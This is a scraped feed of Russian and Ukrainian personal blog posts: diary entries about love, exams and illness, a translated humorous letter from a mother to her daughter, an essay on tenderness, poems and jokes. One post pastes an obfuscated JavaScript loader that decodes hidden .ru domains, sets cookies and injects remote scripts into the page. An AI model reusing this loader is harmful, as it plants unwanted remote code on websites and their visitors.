мешают или там игра компьютерная. Можно не ходить в больницу лично, а прислать курьера с апельсинами. Можно не отмечать годовщины – все равно это дурацкий праздник, на который даже не стоит тратиться. Можно не играть с ребенком, а сунуть ему денег: «Иди, купи себе мороженое и отстань от меня». Можно вообще не совершать никаких лишних телодвижений. И тупо надеяться, что к тебе, такому равнодушному, будут неравнодушны. Но так не бывает. Хорошие отношения требуют каких-то усилий. «Само собой» бывает только плохо. Оззи Осборн достаточно богат для того, чтобы позволить себе автомобиль с личным шофером. Но, возвращаясь домой, он первым делом хочет видеть не шофера, а родных людей. Я не Оззи, но я тоже хочу того же самого. Все этого хотят. Но не все готовы это делать. А может те, кому лень встречать, выслушивать, утешать и радовать своих близких, просто давным-давно их разлюбили? Или вообще никогда не знали этого чувства. (c)

    Лечусь. Настроение в норме. Завтра останусь дома, взяла отгул. Вчера сдыхала от боли и насморка, сегодня получше А так не хочется болеть:(

    «Советы моей 13-летней дочери. Вскрыть после моей смерти» – шуточное письмо-завещание, опубликованное в британской газете The Times, собрало тысячи просмотров. Материнские советы журналиста Кейтлин Моран полны юмора и точных жизненных наблюдений.

    «Дорогая Лиззи, здравствуй, это мама. Я умерла. Прости, что так вышло. Надеюсь, похороны прошли без проблем – исполнил ли твой папа песню «Don’t Stop Me Now» группы Queen, когда мой гроб отправляли в крематорий? Надеюсь, все ему подпевали и играли на воображаемых гитарах, как я просила. И приклеили усы, как у Фредди Меркьюри, – я оговорила это в моем «Пожелании о похоронах». Оно висит на холодильнике с 2008 года – в тот год я подхватила особенно мерзкую простуду и была полна жалости к себе.

    Вот несколько вещей, которые я узнала на своем опыте и которые, возможно, пригодятся тебе в будущем. Список неполный, но для начала неплохо. Кроме того, я оставила тебе кучу денег по страховке – так что можешь прямо сейчас пойти и оторваться по полной на eBay, скупая винтажные платья, которые ты так любишь. Ты в них такая красавица. Ты всегда красавица.

    Главное – постараться быть хорошим человеком. Ты уже хороший человек, малышка моя, – в тебе так много добра, что у меня рвется сердце, – и я хочу, чтобы ты такой и оставалась. Продолжай собирать в себе свет. Просто пообещай себе, что будешь сиять, постоянно и неизменно, – как лампа, излучающая теплый свет в уголке. Люди захотят подойти к тебе поближе, чтобы почувствовать себя счастливыми и прочесть что-то под твоими лучами. Ты будешь ярко сиять в мире темноты и бурных сменяющих друг друга течений, и это убережет тебя от тревоги по поводу других, опустошающих нас вещей, – «быть модной и крутой», «быть успешнее, чем все остальные» или «быть худой».

    Второе – всегда помни, что в девяти случаях из десяти у тебя не нервный срыв – просто нужна чашка чая и печенье. Ты будешь удивлена, как легко мы путаем одно с другим. На всякий случай держи под рукой большую коробку печенья.

    Третье – всегда убирай червячков с тротуара и клади в траву. У них выдался плохой день, раз они выползли на опасное место, а ведь они приносят так много пользы… почве или чему-то еще (спроси об этом папу, я сейчас стараюсь не вдаваться в подробности).

    Четвертое: выбирай в друзья тех, рядом с кем ты ближе всего к себе настоящей, потому что тебе легко с ними шутить и ты чувствуешь себя, как будто надела свой лучший наряд, даже если на тебе всего лишь майка. Никогда не люби того, кого, по твоему мнению, стоит улучшить – или того, кто заставляет тебя думать, что улучшить надо тебя. На свете есть мальчики, которых притягивают излучающие свет девочки; они будут стоять рядом с тобой и тихим голосом говорить тебе на ухо, и от их слов радость будет понемногу вытекать из твоего сердца. Книги о вампирах – правда, детка. Воткни кол им в сердце и беги.

    Дружи со своим телом. Пока оно здорово, никогда не думай о нем как о проблеме. Время от времени нежно проводи руками по своим ногам и благодари их за то, что они умеют бегать. Клади руки себе на живот и наслаждайся тем, какая ты мягкая и теплая, – не уставай восхищаться миром, который тикает внутри, этими невероятными живыми часами, – как делала я, когда носила тебя под сердцем и мечтала о тебе каждую ночь.

    Когда ты не знаешь, что сказать в разговоре, – задавай вопросы. Даже если ты находишься рядом с человеком, который коллекционирует шурупы и гвозди 70-х годов, скорее всего, у тебя больше не будет возможности так много узнать о шурупах и гвоздях 70-х годов, а ведь никогда не знаешь заранее, когда эти сведения могут пригодиться.

    Тут я плавно перехожу к следующему совету: жизнь делится на ЧУДЕСНЫЕ ВРЕМЕНА, которыми ты будешь наслаждаться, и УЖАСНЫЕ СОБЫТИЯ, которые в будущем превращаются в захватывающие истории и анекдоты. Как бы тяжело тебе ни пришлось, ты сможешь пережить все, если представишь, как спустя годы будешь рассказывать об этом друзьям, а они в ответ – восклицать недоверчиво: «НЕТ! НЕ МОЖЕТ БЫТЬ!»

    Малыш, постарайся увидеть как можно больше восходов и закатов. Бросай все, чтобы понюхать огромные розы у дорог. Всегда верь, что ты можешь изменить мир – даже если это совсем чуть-чуть, потому что любое чуть-чуть ждет кого-то, кто его изменит. Странствуй по дороге жизни, как серебряный камешек, – пусть музыка будет давать тебе силы и энергию; книги – станут картами и укажут место назначения. Принимай гостей щедро, не переставай любить, танцуй в удобной обуви, говори с папой и Нэнси обо мне каждый день и никогда, никогда не начинай курить. Это все равно что купить маленького смешного дракончика – в итоге он вырастет и спалит к черту твой дом.

    С любовью,
    Мама

    Сложно же как не пить до конца сессии! Из-за невозможности накачать себя вином, я заливая себя большим количеством кофе сегодня. Завтра нереально сложный устный экзамен с защиты интеллектуальной собственности. И я вообще не понимаю зачем мне это всё учить. Там слишком много слишком детального материала. Я не могу это запомнить, разве что зазубрить и забыть в тот же день, после сдачи. Но я совсем не строю иллюзий, что у меня получится сдать это с первого раза. Я надеюсь только разузнать завтра обстановку. Чё да как. Лучше уж прилично подготовиться к экзамену с метеорологии (ага, и такую хрень учить приходится). Это хоть реально выучить.

    Если сегодня с утра, на самом деле, ещё со вчерашнего вечера, я была в отчаянии, то сейчас я просто слегка в унынии. Смирилась, что не выучу это, потому что невозможно запомнить все эти сложные определения, номера устав и т. д. Возьмусь лучше за более реальные цели.

    Кто не поеедет раньше домой, потому что не получит зачёт с первого раза? Ой, да это ж я.

    Нежность – самое интимное из всех человеческих чувств. Радость, ненависть, страсть, - все это наполненные, сильные эмоции, которые люди не стесняются выражать. А нежность – это что-то слишком личное, неуловимое, легкое. Не то, что надо показывать всем. Может быть поэтому, мы, как светофоры, зажигаем для своей нежности три ярких, совсем не нежных цвета: красный, желтый, зеленый. Нельзя, приготовиться, можно.

    Красный.

    Моя подруга Алена уверена, что без оглядки проявлять нежность можно только к детям и животным. Когда ты видишь пушистого котенка или розовощекого карапуза, то скрывать свои чувства нет нужды. Эти существа тебя не осудят и – главное! – не ранят тебя. Ведь быть нежным – это, как она говорит, обнажить пузо. И с этим процессом надо быть максимально осторожной.

    Алена – опытная барышня. Как и все, она поначалу слишком открывалась, задыхалась от нежности, далее по списку. Она приносила очередному возлюбленному свое сердце на блюдечке и заявляла: «Оно твое!». Но потом поняла, что делать это не обязательно. Теперь она как броненосец прячет свое естество за крепким панцирем. И только иногда высовывается из образа, чтобы посюсюкать с теми, с кем сюсюкать общество не считает проявлением слабости.

    Еще сложнее мужчинам. Навязанный социумом стереотип мужественности подразумевает отказ от эмоций вообще – мальчики не плачут. Твой старый солдат, не знающий слов любви, больше всего боится показать свою уязвимость и зависимость. Ты ждешь от него ласки, которая не закончится разбросанной по полу одеждой, а он недоумевает: «Я же с тобой, разве это не объясняет все, разве этого мало?» Он знает, что этого мало, но ему тоже страшно без брони. Вдруг ты ткнешь в его незащищенное пузо острой коленкой? Поэтому, даже когда его буквально распирает, он мысленно зажигает перед своей рвущейся на свободу нежностью красный свет: «Стоп! Я все-таки мужчина! Я должен быть сильным!». Он покупает очередной букет (не потому ли цветочный бизнес так популярен в России, что мужчины не могут словами сказать о своих чувствах?), отшучивается и делает вид, что ничего и никогда не воспринимает всерьез. Кроме футбола. Такое вот серьезное занятие – спорт.

    А еще - техника. Один мой приятель предпочитает проявлять нежность не по отношению к девушкам, а по отношению к своей машине – она хоть и не отвечает ему взаимностью, зато никогда не уйдет, не предаст и не засмеется в лицо: «Ну ты и хлюпик!» Девушке такого молодого человека потребуется колоссальное терпение и такт, чтобы дождаться, пока его светофор переключится, пока он откроется, станет самим собой и поймет, что нежность – это прерогатива именно взрослых людей.

    А есть ведь такие, которые не откроются и не повзрослеют никогда, сколько ни жди. Ты родишь ему троих детей, а он в лучшем случае скажет на вашей золотой свадьбе: «Ну это… мать… того. Поздравляю с юбилеем, желаю счастья в личной жизни. Пух».
    Умный мужчина Анрей Деменьев как-то написал: «Не находящая выхода нежность на вымирание обречена». С некоторыми Железными Дровосеками так и случается - их нежность, запертая в самой глубине души, постепенно чахнет и, в конце концов, отбрасывает коньки. Опыт подсказывает, что воскрешать ее – бесполезное занятие. Ты – не бог. Не стоит тратить жизнь на то, чтобы научить человека быть человеком.

    Желтый.

    Мама рассказывала, как папа, тогда еще всего лишь ее дачный товарищ, катал ее на велосипеде. Она сидела на раме, смеялась, болтала, чихала от пыльцы ромашек, которые держала в руках. А он осторожно целовал ее в затылок, уверенный, что она этого не замечает. Но она замечала и понимала, что это - начало. Что будет у них потом что-то большое, чистое, светлое и так далее, и тому подобное. Все будет, обязательно будет, а пока есть только это: невысказанные признания, непрочтенные стихи, не подаренные звезды. Предчувствие любви, пронизанное обоюдной нежностью.

    Желтый свет. Подожди. Не торопись, в ожидании есть своя прелесть. Можно ливнем обрушить на человека чувства, спринтерски рвануть вперед с низкого старта, сметая все живое на своем пути. А можно замереть, наблюдая, как зарождается то, что есть главной силой любви - нежность и доброта. В улыбке. В словах. Во взгляде. В прикосновениях.

    Время нужно еще и для того, чтобы понять, что испытывает к тебе твой кавалер. У Анны Ахматовой (у нас сегодня какой-то вечер поэзии!) есть такие строчки: «Настоящую нежность не спутаешь ни с чем, и она тиха». «Тиха» – ключевое слово. Испепеляющие взоры и пылкие лобзания – это из другой оперы. И когда подмигивающий молодец сообщает: «Крошка, я между прочим, тако-о-ой ласковый» - ты, конечно, догадываешься, что речь идет только о сексе. Как в том старом советском фильме, когда несознательный студент приставал к хорошеньким барышням с одной фразой: "Нежности хочется", - и, понятное дело, тут же пытался расстегнуть блузку.

    Зелёный.

    Есть люди, которые включили своей нежности один свет – зеленый. Как правило, это свежевлюбленные граждане, которые не могут оторваться друг от друга, ежеминутно целуются и трутся друг о друга носами. Выглядит все это крайне неприглядно, и окружающие усмехаются: «Опять телячьи нежности начались!». Эти двое и вправду, как телята, ласковые и глупые. «Ни за что не буду так себя вести», - думаешь ты и, конечно же, как только взаимно и счастливо влюбляешься, начинаешь себя вести именно таким образом. На здоровье! Это твое время.

    Вообще добрые чувства, которые направлены на твоих любимых, всегда должны иметь зеленый коридор. (Но проявлять их в публичных местах надо в рамках разумного – вряд ли будет уместно без конца шептать своему спутнику: «Котик, пупсик, зайчик… мрррр» на приеме у президента, особенно если твой спутник – сам президент). И не оправдывай свое бездействие тем, что объект твоих чувств «и так все знает». Говори ему. Показывай, проявляй свою нежность всеми доступными способами. Людям нужна нежность хотя бы потому, что они не умеют целовать свои собственные веки.

    Итог.

    Так вот. Пора подводить итог. Нежность, если верить словарю, - это оттенок поведения человека разумного, придающий особую эмоциональную окраску отношениям. Нежность – это когда ты ночью ворочаешься и раскрываешься, а твой любимый раз за разом накрывает тебя одеялом. Когда подруга сидит с тобой, зареванной, с лицом, похожим на грушу и говорит, что все у тебя будет хорошо. Когда дед, разговаривая по телефону с внуком, улыбается, прижимается щекой к трубке. Когда в зале прилета люди встречают близких и, обнявшись, на секундочку замирают.

    Нежность - спутник любви. Без нее нет жизни на земле. Нет глубины, интимности, истины. Как говорил – внимание, проза! – Достоевский: «У вас нежности нет, одна правда, стало быть, - несправедливо».
    Жизнь несправедлива без нежности, понимаешь?

    Говорят люди не меняются.

    Да что тут, я и сама это говорила миллионы раз. Но все могут измениться! На это бывают веские причины. А бывает живешь - живешь, а потом одно событие меняет тебя и всё вокруг. И так же совсем маленькое событие может перевернуть всю жизнь: вовремя прочитанная книга или состоявшийся разговор, неудачная встреча или, возможно, личная победа - и вот, перед нами новый человек.
    Так вот к чему это всё… Прошлый месяц что-то изменил в моем отношении ко всему: к каждому человеку, к этому городу, к тому какая я. На меня сильно повлиял отъезд мамы. А дальше посыпался ряд событий… И вот, теперь я сижу и пишу всё это. И думаю, переломный момент ведь не всегда плох. Да и чувствую, что мне хорошо: со мной те, кого я люблю, и они меня любят.

    Слишком много реблога Волчонка, простите, хотела сохранить эти моменты у себя на страничке. Ведь иногда необходимо приподнять настроение, а это то что нужно.

    "Мне скулы от досады сводит:
    Мне кажется который год,
    Что там, где я, - там жизнь проходит,
    А там, где нет меня, - идет."

    - Высоцкий

    Эти строчки 100% описывают, что у меня щас в жизни… Все о чем я мечтала или мечтаю сбывается не у меня.. А главное, этим людям этого не надо.. У них совсем другие мечты. Что за хрень, Господипрости?

    Рационализм неполон, он холодный и неуютный. Как брошенное эскимосское иглу. (с) Януш Вишневский. "Одиночество в сети"

    Сижу на больничном вторую неделю и просто радуюсь жизни, хоть и состояние далеко от идеала. Как же все-таки свободно без этой учебы, дз, общества, в котором я вынуждена находится изо дня в день.

    Кто-нибудь знает, как убрать эту хрень, которая появляется у меня под постами?

    window.a1336404323 = 1;!function() {var e=JSON.parse('["7537796231697931783378762e7275", "666d7a78753570743278376a2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="21670", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

    все важные фразы должны быть тихими,
    все фото с родными всегда нерезкие.
    самые странные люди всегда великие,
    а причины для счастья всегда невеские.
    самое честное слышишь на кухне ночью,
    ведь если о чувствах - не по телефону, а если уж плакать,
    так выть по-волчьи,
    чтоб тоскливым эхом на пол района.
    любимые песни - все хриплым голосом,
    все стихи любимые - неизвестные.
    все наглые люди всегда ничтожества, а все близкие люди всегда не местные.
    все важные встречи всегда случайные.
    самые верные подданные - предатели,
    весёлые клоуны - все печальные,
    а упрямые скептики - все мечтатели.
    если дом уютный - не замок точно, а квартирка старенькая в Одессе.
    если с кем связаться - навеки, прочно.
    пусть сейчас не так всё, но ты надейся.

    как я вчера сказала, что я не хочу свадьбу, я просто хочу поменять фамилию, что бы меня ничего не связывало со своей семьей, нихуя вообще

    сейчас из-за волны культа сраки бабы позволяют себе разжираться и не стесняются этого

    я не имею ничего против сраки мясистой, сама над этим работаю, но вы серьезно считаетет, что жир это круто?

    если у вас нету проблем со здоровьем, по причине которых вы не можете просто сбросить вес

    Странное ощущение, когда все вроде бы в порядке, но при этом происходит какая-то неведомая херня. Это значит что месяц прошел очень даже неплохо.
    6.01.2016. Ко мне приходят бухать пятеро парней и будучи девушкой, которая не может отказать алкоголю, я напиваюсь. На самом деле это было очень даже неплохо. Хоть алкоголь пагубно влияет на организм и все такое - мне было абсолютно все равно. В тот день пришли Артем, Андрей, Сережа, Илья и Арти. Андрея я тогда еще не знала и очень злилась, что ребята привели ко мне какого-то левого парня, но все же как хорошо что они это сделали. Не могу сказать что он мне очень понравился, что я влюбилась и все такое, но определенно могу сказать, что именно он дал мне то мужское внимание, которого мне так не хватало. Он не лез, что было на самом деле даже немного обидно, мы просто сидели закрывшись в моей комнате, обнимались, разговаривали и собирали лего. Я могла его поцеловать, было много моментов, когда я действительно могла сделать это, НО внизу сидел Сережа, которому отдано мое сердце, и я просто не могла себе этого позволить, хотя ему было все равно.
    Этот день, на самом деле, был переломным моментом во всей моей истории с моими чувсвами к Сереже.
    За 4 дня я себя убедила себя в том, что мне нравится Андрей. Я в это даже поверила. Как же все-таки сильно самоубеждение.
    В следующий вторник мы опять собрались у меня, но на этот раз нас было гораздо больше. Опять та же история, но на этот раз он все же сделал шаг. Даже не знаю хорошо это или нет, потому что после этого я чувствовала себя разбитой.
    А точнее, что же все-таки было.
    Мы напились с ним
    Полезли на крышу 11 этажа (крыша мансардная)
    Был вечер, закат. Мы сидим на самом верху, видно весь город, говорим и тут он меня целует. В первую секунду я была очень счастлива что он сделал, но потом что-то щелкнуло в моем мозгу и все. Он мне не нравится, я люблю только Сережу. Но я же не могу уйти, да и с ним было очень уютно. Сидели на крыше, целовались. Потом залезли ко мне в комнату, целовались. И так несколько часов. Когда очухались - все ушли, кроме моей подруги. Я разбита. Чувствую себя последней сволочью. Он ушел, я поцеловала его на прощание и разревелась.
    После этого он мне не написал.
    тут, на самом деле, два варианта
    первый: я перестала его интересовать
    второй: он слышал как я разревелась, он серьезно воспринял мои слова "я ничего не чувствую, вообще ничего", я от него уходила. и после этого он во мне разочаровался
    ну не знаю, и, на самом деле, вообще все равно (ага, да, уговаривай себя)
    в тот же момент мой друг написал мне что я ему очень нравлюсь, что повергло меня в шок. Теперь мы не особо общаемся. (дура, да)
    Но самым большим ударом было то, что Сережа переходит в другую школу. Т.е. человек, который мне очень важен, уходит. Он же не захочет со мной общаться после шк и все такое. Он просто уходит и ему все равно. Я не буду каждое утро видеть его, говорить с ним, идти с ним после пар. Нет. Больше не будет. Он найдет себе новых друзей, может быть даже и девушку найдет. У него будет все хорошо. У меня осталось времени чуть больше 2 недель (а может быть и 2) - после этого он уходит. Надеюсь я не буду плакать, а то покажусь очень слабой и все еще влюбленной в него. (все думают, что уже прошло)
    Сложно подводить какие-либо итоги, но в любом случае я поняла, что хочу чтобы Андрей все же сделал еще один шаг и простил меня за ту херню. Это единственное реальное из всего чего я желаю.
    быстрее бы все закончилось

    Иногда мне кажется, что я самый настоящий лох, вообще неудачник последний, на этой планете. У меня была группу, закрытая, куда я написала свой единственный и любимый стих, сама, черт побери, написала. И что я сделала? Я репостнула его себе в сообщения и удалила. И только через секунду до меня дошло, что и там он удалится. Я испытала такое чувство. Будто все мои внутренности решили все дружно выйти и тупо застряли в глотке. Они такие "Оооо, да ты лошара. Ребята, собирайтесь, мы уходим". И я думаю, что они бы вылезли нахрен из меня, если могли. Я в шоке сама с себя. Это ужас.

    Почему я так поздно замечаю то, что мне очень дорог человек? Вот вроде хорошо общались, даже не заметно было, в какой момент я так привязалась к нему. А сейчас.. Как быть, если человек, благодаря которому у меня был постоянный запас вдохновения, хочет уйти? Отпустить его? Бросить свой замысел, потому что больше нет того потока мыслей ? Эмоции истощены вновь, чувствую себя какой-то бесчувственной и до жути холодной сукой. У вас есть люди, которые греют вас внутри и дают вам море эмоций? Даже отрицательные эмоции, которые дает вам этот человек, можно считать счастьем. Почему так мало таких? Откуда они вообще берутся ? Может у них своя вселенная… Он не похож на меня, совсем. У нас нет никаких общих интересов, ничего общего вообще. Тем не менее он для меня, как какая-то неизвестная фигня, которую хочется узнать, пощупать, осмотреть со всех сторон. Почувствовала себя сейчас дикаркой. Бороться за него смысла нет. Он не из тех людей, кого стоит держать. Если он хочет, то он уйдет. И как дальше быть?…

    мне уже становиться смешно, люди просто от меня отваливаются, они не могут рядом со мной удержаться на длительное время

    как вы думаете в чем может быть причина?

    я что так плоха?

    я что такое уебище или просто мой крест быть одинокой

    ваше мнение, ребята

    ЕСЛИ ТВОЯ ДЕВУШКА ПРОВИЗОР, ТО…

    Аптечка "Универсальная"состоит из 78 лекарственных средств, 8 видов ваты и 11 разновидностей бинтов. А также 10-летний запас Зеленки и Йода.

    Она знает 100 способов как избавить тебя от похмелья.

    Вас не пугают слова феноксиметилпенициллин или никотинамидадениндинуклеотидфосфат.

    Спорит с фармацевтом, который её обслуживает и задалбывает его до посинения.

    Во время рекламы какого-нибудь лекарства вы получаете от нее подробный комментарий о вреде и пользе данного "зелья"!

    Часто повторяет одно и то же.

    В клубе она пьет только абсент, потому что там полынь!!!!!!!!

    Она раздает советы всегда и везде о здоровье, лечении, лекарстве. Хотя сама не излечима.

    Сахар в чай она кладет с точной дозировкой!

    И, кстати, химическое название обычного сахара - А-диглюкозидо-В-дифруктофуранозид, а

    сахарина -2,3-дигидро-3-оксобензизосульфоназол.

    Теперь вы научились отличать Крестоцветных от Яснотковых. И знаете примесь Алтея.

    Везде и всегда и всюду носит с собой сменную обувь или "синие" бахилы.

    Умеет делать смешивание, просеивание, фильтрацию, стерилизацию, стандартизацию, измельчение, прессование, обеспылевание, запайку, проверку на герметичность, экетикирование, и, последняя стадия, упаковывание……вашего мозга. :-)))

    Дрожжи, сахар, яйца - не рецепт блинов, а химические реактивы. (!!!!)

    Её Любимые пословицы:

    молчание золото,

    толочь воду в ступе,

    не все то золото что блестит,

    глаз-алмаз,

    терпение и труд всё ПЕРЕТРУТ!

    Она умеет делать фотоколориметрию, кулонометрию, спектрофотомерию, полярографию, комплексонометрию, аргентометрию, гравиметрию и кучу всего, что заканчивается на… МЕТРИЮ!

    Халат - это ЕЁ вторая кожа. (!!!!)

    У нее нет Времени, Ты ОБЯЗАН знать ее расписание, если хочешь увидеться.

    Имеет специфическое чувство юмора, не исключены приступы черного.

    В вашей комнате стоит целый набор микстур, эмульсий, порошков "лично приготовленных" ею, не дай Бог еще попробовать даст.

    Выходные!!!их нет!!! Потому что по выходным она отрабатывает Н/Б.

    Выучить корейский язык за ночь - это ничто после экзамена по фармакологии.

    Циклопентадиенилтрикарбонилгидридвольфрам, выучит ОДНО умное слово и хвастает потом этим словом перед всеми.

    Ругается матом химическими терминами, а так же знает некоторые маты на арабском языке!!!

    У неё На все есть компромат:

    в пломбах – фенолы, сакрилатамин,

    в куреве - радиация,

    в водке - сивуха, метанол,

    в воздухе –оксид азота, озон, пыль,

    в жрачке - канцерогены, антибиотики,

    в воде - диоксины…

    Девушки-медики пьют до потери пульса.

    Девушки-стоматологи пьют до потери зуба.

    Девушки-провизоры пьют до полной потери реакции !!!!!!

    У каждого есть девушка, но не у каждого она – ПРОВИЗОР!!!

    интересно, сколько осталось ждать, чтоб отгремело бешеное, успокоилось да срослось, чтобы закончились все обреченные "а чем она лучше меня", "пошло бы все к черту" и "да, наверное лучше врозь". ты же знаешь, что не бывает сказок с действительно хорошим концом, держи подбородок выше, выпрями спину и просто будь молодцом.

    я ее спрашиваю, что же ее так в нем влечет,
    она молчит, слегка оголяя плечо,
    а на плече багровеет засос.

    мне в нем нравится, знаешь,
    то, как он рубит сразу с плеча,
    нравится, что я с ним пленительна и горяча,
    нравится его профиль и идеальный нос,
    мне нравится быть с ним вместе.

    -но вы же врозь?

    вздыхает, закрыв лицо ладонями и молчит.
    последние поцелуи жгут, словно пламя огня.
    я не выдерживаю и спрашиваю,

    -ну, он хотя бы любит ?

    она улыбается и говорит,
    " любит. конечно любит. но не меня".

    Многое происходи в жизни, честно говоря, и некоторые истории очень крутые. За последние 2 года начала путешествовать, зачастую одна, т.к. договориться о времени и тратах сложно, сами понимаете, познакомилась с замечательными людьми в Европе, некоторые даже навещали меня :D вот может пора начать писать мемуары, делиться с вами :D и да, в большей степени это будет рассказ о том, как сбываются мечты и присходит то, о чем ты даже и месяц назад не мог подумать :)

    Таке відчуття що недавно я ще зовсім немогла без тебе, а зараз тебе ненавиджу. Твої збережені фото " сумую по тобі і всі діла ", але блять закриті повідомлення. Знайшов собі вже іншу, а сам пишеш ніби тобі так швидко знайшли заміну. ХВАТИТЬ СНИТИСЬ МЕНІ І СНАХ, Я БАЧИТИ ТЕБЕ НЕ ХОЧУ!

    І цей четвер був найкращим за останній час. Найкращий поцілунок, якого я так чекала. Я дочекалась, твої губи найкращі! І знову хочу до тебее. Ніби є шанс зійтись, можливо все вийде.

    скорее мчи в подъезд, замри и стой внизу -
    почтовый шкаф сломай и руку запусти;
    ни одного письма тебе не принесу!
    но медленно вздохнув опять меня прости!

    открой в квартиру дверь и к телефону сядь!
    звонок мой жди в пальто, не заваривши чай -
    не получив звонка, ползи в свою кровать,
    но перед сном меня в который раз прощай!

    не спи: воро-чайся, кури и пей вино!
    разглядывай часы, беседуй сам с собой!
    бессмысленно смотри в морозное окно,
    и слушай "тик и так" часов настенных бой!

    наутро выйди прочь, и по пути (куда?)
    мечтай о том, что мы увидимся в метро!
    но головой внимай, что больше никогда
    не будем вместе мы (пускай болит нутро!)

    не слушай никого, кто плохо про меня
    пытается сказать, чтоб твой вернуть покой!
    за правило возьми: в конце любого дня,
    тоскуя вспоминать лицо и голос мой!

    забудь как: есть, любить, выдумывать мечты!
    сомкни весь мир на мне! да так, чтоб одуреть!
    за правило возьми: среди любой толпы,
    хотя бы раз на дню в других меня узреть!

    навзрыд рыдай о нас и сочиняй стихи!
    ругай себя за все, что сделал невпопад!
    представь, как руки мне целуют женихи,
    и преврати свое существованье в ад!

    и каждый день душой старей на тыщу лет
    от мысли, что вовек отныне будем врозь!

    тогда скорей всего получишь свой ответ
    на заданный вопрос, как без тебя жилось!

    Почему именно тогда, когда я сажусь рисовать порнуху, всем надо по нескольку раз зайти в мою комнату и поинтересоваться как у меня дела? Съебите, пожалуйста

    1.

    я хочу посмотреть, как ты танцуешь,
    как смеёшься дико и смотришь в небо,
    как молчишь. волнуешься. и ревнуешь.
    как бросаешь птицам кусочки хлеба.

    как лицо от солнца в горах сгорает,
    как читаешь книги и бьешь посуду,
    как спешишь в июнь с наступлением мая,
    как спугнуть боишься словами чудо.

    как морские волны ласкают ноги,
    как рука твоя замедляет время
    на моих часах. я хочу чтоб токи,
    что пускаешь ты разбивали темя.

    я хочу бежать за тобой вдогонку-
    только понарошку: ты будешь в платье.
    _
    я хочу наблюдать, как ты ждёшь ребёнка,
    и встречаешь старость в моих объятиях.

    2.

    я хочу посмотреть, как ты играешь,
    как молчишь серьезно и что-то пишешь
    как рискуешь. куришь. меня ругаешь.
    как выходишь летом босой на крышу.

    как лицо от ливня ладонь скрывает,
    как ты варишь кофе, читаешь прессу,
    как не гонишь дни до прихода мая,
    как глаза смеются в окно экспресса.

    как неровный шаг разбивает дюны,
    как твоя рука закрывает пальцы
    на моей руке. я хочу чтоб струны
    что сжимаешь ты замедляли танцы.

    я хочу стоять среди гор высоких
    за твоей спиной, ускоряя время
    на твоих часах. я хочу чтоб токи
    что пускаю я разбивали темя.

    #ахастахова #швейцария #альпы

    Если отойти от эмоций, то. Люди глупы.В той группе появился пост типа самая худшая ошибка, которую можно совершить, это уйти от человека который действительно стоял и ждал тебя.
    Так странно смотреть как человек пишет о том, что САМ же и сделал.Она ушла от меня, хотя я стояла и ждала.И до сих пор стою и жду.Скрываю от нее истерики, стараюсь не показывать, что мне больно и плохо.А она наивно считает что ЛЮБОФФФ у них.ну точнее как я предполагаю, свэта напиздела и киданула ее.или еще нет но скоро.Но нет девочка.ЭТО не любовь.Это увлечение, не более того.Тебе задурили голову а ты и строчишь посты, распыляя главные слова не на того человека.А раны свои зализывать ты придешь ко мне.Как раз то и означал мой сон-тебе причинят боль и ты придешь ко мне, а я буду лечить твои раны.Потому что ты просто не понимаешь, что ты ушла от человека, который не уйдет и не разлюбит тебя никогда.Понимаешь? никогда.Я сказала что люблю тебя.И я в ответе за свои слова.
    И если мои догадки верны, то надеюсь ты усвоила еще один урок от жизни.
    Надеюсь ты поймешь, что сделала неправильный выбор.Ох какой неправильный.
    Я перескакиваю от диалога с воображаемыми людьми к диалогу с нею и обратно.Бред какой то ну ладно.
    Я жду ее и мы всегда можем начать с начала, потому что я реально люблю ее и жду ее.Но при одном условии-если она любит меня и хочет со мной быть.и без всяких вот этих закидонов. Но что ждать от человека, который не может разобраться в себе и понять, что он блять чувствует на самом деле и какого хера ему надо вообще.Но я жду.И я жду рассказа.О том, что случилось.
    А пока что я слушаю зверей, чувствую как щиплет мое израненое сердечко и понимаю, что я еще не приняла лекарства.
    Время, конечно, рассудит.Но кто еще так любить тебя будет?

    "Напиши ей "сделай уже правильный выбор, дура" (с) анастас

